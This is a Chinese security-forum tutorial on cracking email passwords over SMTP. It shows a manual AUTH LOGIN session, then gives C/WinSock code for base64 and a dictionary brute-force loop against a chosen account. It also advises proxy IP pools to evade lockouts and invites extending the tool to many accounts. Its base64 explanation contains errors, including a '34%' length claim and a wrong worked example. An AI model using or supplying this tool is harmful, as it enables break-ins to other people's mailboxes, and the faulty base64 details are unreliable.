安全矩阵

 找回密码
 立即注册
搜索
查看: 2610|回复: 0

网络安全编程:邮箱破解

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-5 09:11:04 | 显示全部楼层 |阅读模式
原文链接:网络安全编程:邮箱破解

收发电子邮件经常使用的协议有SMTP协议和POP3协议,SMTP协议主要用于邮件的发送,而POP3协议主要用于邮件的接收。本文介绍通过SMTP协议来完成对电子邮箱的破解。
1. SMTP的手工模拟
SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是基于TCP协议邮件传输协议,它主要用于邮件的发送,它的TCP端口号是25。这里通过一次简单的手工模拟来简单地介绍STMP的登录过程。
在进行模拟之前,需要准备一台已经注册过账号的SMTP服务器,网易、腾讯的邮箱都支持SMTP服务。这里,随便使用了一台SMTP服务器,模拟过程如图1所示。

图1  SMTP登录过程
在登录的过程中如果看到235,那么说明登录成功了。那么,我们来分析一下上面的步骤。
首先,需要使用telnet来登录smtp服务器,比如telnet smtp.xxx.com 25,也就是连接×××的smtp服务器地址,指定端口号为25号端口。
接着,输入HELO smtp.×××.com,该命令标识发件人的身份。
再下来输入auth login用来告诉服务器要进行身份的验证了,当输入auth login后,服务器会返回334,334后面的一串字符是经过base64编码的字符串,将其解密后的内容是“Username:”。
在此处输入经过base64编码的“用户名”即可。当输入用户名回车后,会接着返回一个334,334后面的仍然是一串经过base64编码的字符串,将其解密后的内容是“Password:”。
在Password后面输入经过base64编码的“密码”即可。此时,如果用户名和密码正确的话,那么就会返回235,表示登录成功。
对于模拟登录而言,掌握到这一步就已经足够了。
在进行测试时,如果手头没有进行字符串转换的base64编码工具的话,可以在搜索引擎中搜索“base64编码”,就会有许多的在线base64编码工具的。
2. 邮箱的破解
有了上面的关于SMTP协议登录的步骤以后,完全可以使用WinSock来实现邮箱密码的破解。要破解邮箱密码需要准备四个部分,首先是破解程序,然后是字典,还有一个就是代理IP地址池。破解程序是由我们自己完成的程序,字典是用来测试的各种密码,代理IP地址池主要是为了避免邮箱地址的服务器设置了登录失败的次数,在尝试登录失败N次以后可能会锁定IP地址,有的甚至会锁定账户,这些属于服务器配置上的安全策略。我们的主要任务是完成破解程序的编写,至于其他的就不多考虑了。
对于自己写程序,也需要考虑两方面,一方面就是用WinSock来进行与SMTP服务器的通信,另一方面是如何将用户名或密码转换为base64编码。
(1)base64编码相关代码
在邮件的传输过程中,为了提高传输抗干扰性或出于安全性的考虑,会对邮件进行一定的编码。最常见的编码方式即为Base64编码。它的编码和解码算法都是很容易的,编码后的长度是编码前长度的34%。
它是一种编码算法,也有人称为Base64加密,其实它并不是加密算法,毕竟没有密钥,只是把字符的编码格式进行了重新编排。
Base64的编码规则是,在编码时,采用特定的65个字符,可以用6比特组成用来表示64个字符,第65个字符是“=”,它被用来标出一个特别的处理过程。该编码采用24比特作为一个输入组,输出为4个编码字符,这个24比特是由3个8比特按从左往右组成的,被分为4组,每组就是6比特,在其中每组均添加2个0比特,这样就组成了一个数字,这个数字处于0到63之间。在Base64字符表中,可以根据该数字查到其对应的字符。Base64字符表如表1所示。按这种编码组成的编码流必须严格按照一定的顺序(从左往右的顺序),否则就没有任何意义了(编码不符合规范当然没有意义了)。

表1  Base64编码表
由原字符组合成的总比特数目不一定能被正好分组,在最后用“=”标注。举例说明吧。
把“UPX”三个字符转换成Base64编码,编码过程如下。
把UPX三个字符转换成二进制为“01010101 01010000 01011000”,将3个8位的二进制重新组合成4个6位的二进制为“010101 010101 000001 011000”,将4个6位的二进制数转换成4个十进制数为“21 21 1 24”,查表值对应的字符是“VVBY”。则说明“UPX”进行Base64编码后为“VVBY”。
把“MSVC”四个字符转换成二进制为“01001101 01010011 01010110 01000011”,将4个8位的二进制重新组合成6个6位的二进制为“010011 010101 001101 010110 010000 11”,将6个6位的二进制按照4个一组可以分为两组,分别是“010011 010101 001101 010110”和“010000 11”,第一组转换为十进制后为“19 21 13 22”,按照Base64编码表查表为“TVNW”,第二组转换为十进制后为“16 3”,按照Base64编码表查表为“QD”,但是要求4个一组,这里不足4个,则用“=”补足,那么第二组用Base64编码后为“QD==”。因此“MSVC”用Base64编码后为“TVNWQD==”。
Base64编码和解码的代码如下:
  1. static const char *codes =
  2. "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  3. static const unsigned char map[256] = {
  4. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,
  5. 255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  6. 255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,
  7. 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
  8. 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,
  9. 255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,
  10. 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
  11. 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
  12. 255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
  13. 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
  14. 49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  15. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  16. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  17. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  18. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  19. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  20. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  21. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  22. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  23. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  24. 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  25. 255, 255, 255, 255 };
  26. int base64_encode(const unsigned char *in, unsigned long len,unsigned char *out)
  27. {
  28.   unsigned long i, len2, leven;
  29.   unsigned char *p;
  30.   /* valid output size ? */
  31.   len2 = 4 * ((len + 2) / 3);
  32.   p = out;
  33.   leven = 3*(len / 3);
  34.   for (i = 0; i < leven; i += 3) {
  35.     *p++ = codes[in[0] >> 2];
  36.     *p++ = codes[((in[0] & 3) << 4) + (in[1] >> 4)];
  37.     *p++ = codes[((in[1] & 0xf) << 2) + (in[2] >> 6)];
  38.     *p++ = codes[in[2] & 0x3f];
  39.     in += 3;
  40.   }
  41.   /* Pad it if necessary... */
  42.   if (i < len) {
  43.     unsigned a = in[0];
  44.     unsigned b = (i+1 < len) ? in[1] : 0;
  45.     unsigned c = 0;
  46.     *p++ = codes[a >> 2];
  47.     *p++ = codes[((a & 3) << 4) + (b >> 4)];
  48.     *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';
  49.     *p++ = '=';
  50.   }
  51.   /* append a NULL byte */
  52.   *p = '\0';
  53.   return p - out;
  54. }
  55. int base64_decode(const unsigned char *in, unsigned char *out)
  56. {
  57.   unsigned long t, x, y, z;
  58.   unsigned char c;
  59.   int g = 3;
  60.   for (x = y = z = t = 0; in[x]!=0;) {
  61.     c = map[in[x++]];
  62.     if (c == 255) return -1;
  63.     if (c == 253) continue;
  64.     if (c == 254) { c = 0; g--; }
  65.     t = (t<<6)|c;
  66.     if (++y == 4) {
  67.       // if (z + g > *outlen) { return CRYPT_BUFFER_OVERFLOW; }
  68.       out[z++] = (unsigned char)((t>>16)&255);
  69.       if (g > 1) out[z++] = (unsigned char)((t>>8)&255);
  70.       if (g > 2) out[z++] = (unsigned char)(t&255);
  71.       y = t = 0;
  72.     }
  73.   }
  74.   return z;
  75. }
复制代码

上面给出了关于Base64算法编码与解码的代码,在使用时直接进行调用即可。
(2)破解程序相关代码破解简单的流程就是读字典中的密码、创建socket、与SMTP服务器进行通信,对返回的结果进行判断,当判断找到“235”时则认为成功,输出尝试的密码;如果没有找到“235”则继续读取字典中的密码重复前面的步骤。这就是一个破解某个指定邮箱账号的简单思路。具体代码如下:
  1. // 模拟一串字典
  2. char *dict[5] = {"12345", "123456", "12345678", "111", "22222"};
  3. int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
  4. {
  5.   int nRetCode = 0;
  6.   HMODULE hModule = ::GetModuleHandle(NULL);
  7.   if (hModule != NULL)
  8.   {
  9.     // 初始化 MFC 并在失败时显示错误
  10.     if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0))
  11.     {
  12.       // TODO: 更改错误代码以符合您的需要
  13.       _tprintf(_T("错误: MFC 初始化失败\n"));
  14.       nRetCode = 1;
  15.     }
  16.     else
  17.     {
  18.       // TODO: 在此处为应用程序的行为编写代码。
  19.     }
  20.   }
  21.   else
  22.   {
  23.     // TODO: 更改错误代码以符合您的需要
  24.     _tprintf(_T("错误: GetModuleHandle 失败\n"));
  25.     nRetCode = 1;
  26.   }
  27.   // 初始化 WinSock
  28.   WSADATA wsaData = { 0 };
  29.   WSAStartup(MAKEWORD(2, 2), &wsaData);
  30.   // 循环读取字典
  31.   for ( int i = 0; i <= 4; i ++ )
  32.   {
  33.     char in[30] = { 0 };
  34.     char out[MAXBYTE] = { 0 };
  35.     SOCKET s = socket(PF_INET, SOCK_STREAM, 0);
  36.     sockaddr_in saddr = { 0 };
  37.     saddr.sin_family = AF_INET;
  38.     // 连接 SMTP 服务器
  39.     saddr.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");
  40.     // 连接 SMTP 服务的端口号
  41.     saddr.sin_port = htons(25);
  42.     // 发送/接收通信数据的缓冲区
  43.     char szBuff[MAX_PATH] = { 0 };
  44.     int nRet = connect(s, (SOCKADDR*)&saddr, sizeof(saddr));
  45.     recv(s, szBuff, MAXBYTE, 0);
  46.     printf("%s \r\n", szBuff);
  47.     lstrcpy(szBuff, "auth login\r\n");
  48.     send(s, szBuff, strlen(szBuff), 0);
  49.     printf("%s \r\n", szBuff);
  50.     recv(s, szBuff, MAXBYTE, 0);
  51.     printf("%s \r\n", szBuff);
  52.     // 这里的 xxx 替换为要破解的 SMTP 用户名
  53.     lstrcpy(in, "xxx");
  54.     base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out);
  55.     lstrcpy(szBuff, out);
  56.     lstrcat(szBuff, "\r\n");
  57.     send(s, szBuff, strlen(szBuff), 0);
  58.     printf("%s \r\n", szBuff);
  59.     recv(s, szBuff, MAXBYTE, 0);
  60.     printf("%s \r\n", szBuff);
  61.     lstrcpy(in, (LPCSTR)(*(dict + i)));
  62.     base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out);
  63.     lstrcpy(szBuff, out);
  64.     lstrcat(szBuff, "\r\n");
  65.     send(s, szBuff, strlen(szBuff), 0);
  66.     printf("%s \r\n", szBuff);
  67.     recv(s, szBuff, MAXBYTE, 0);
  68.     printf("%s \r\n", szBuff);
  69.     if ( strstr(szBuff, "235") )
  70.     {
  71.       printf("Success \r\n");
  72.       printf("%s\r\n", (char *)(*(dict + i)));
  73.       closesocket(s);
  74.       break;
  75.     }
  76.     else
  77.     {
  78.       printf("Faild \r\n");
  79.     }
  80.     closesocket(s);
  81.   }
  82.   WSACleanup();
  83.   return nRetCode;
  84. }
复制代码

该代码是控制台下的MFC工程,请大家建立相关工程然后编译连接源码后测试效果。该程序是对单一SMTP账号的破解,运行结果如图2所示。

图2  SMTP破解程序运行结果
图2就是程序运行后的结果,本程序只针对一个特定的SMTP账号进行破解,大家可以自行修改为能够破解多个账号的程序。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:51 , Processed in 0.013013 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表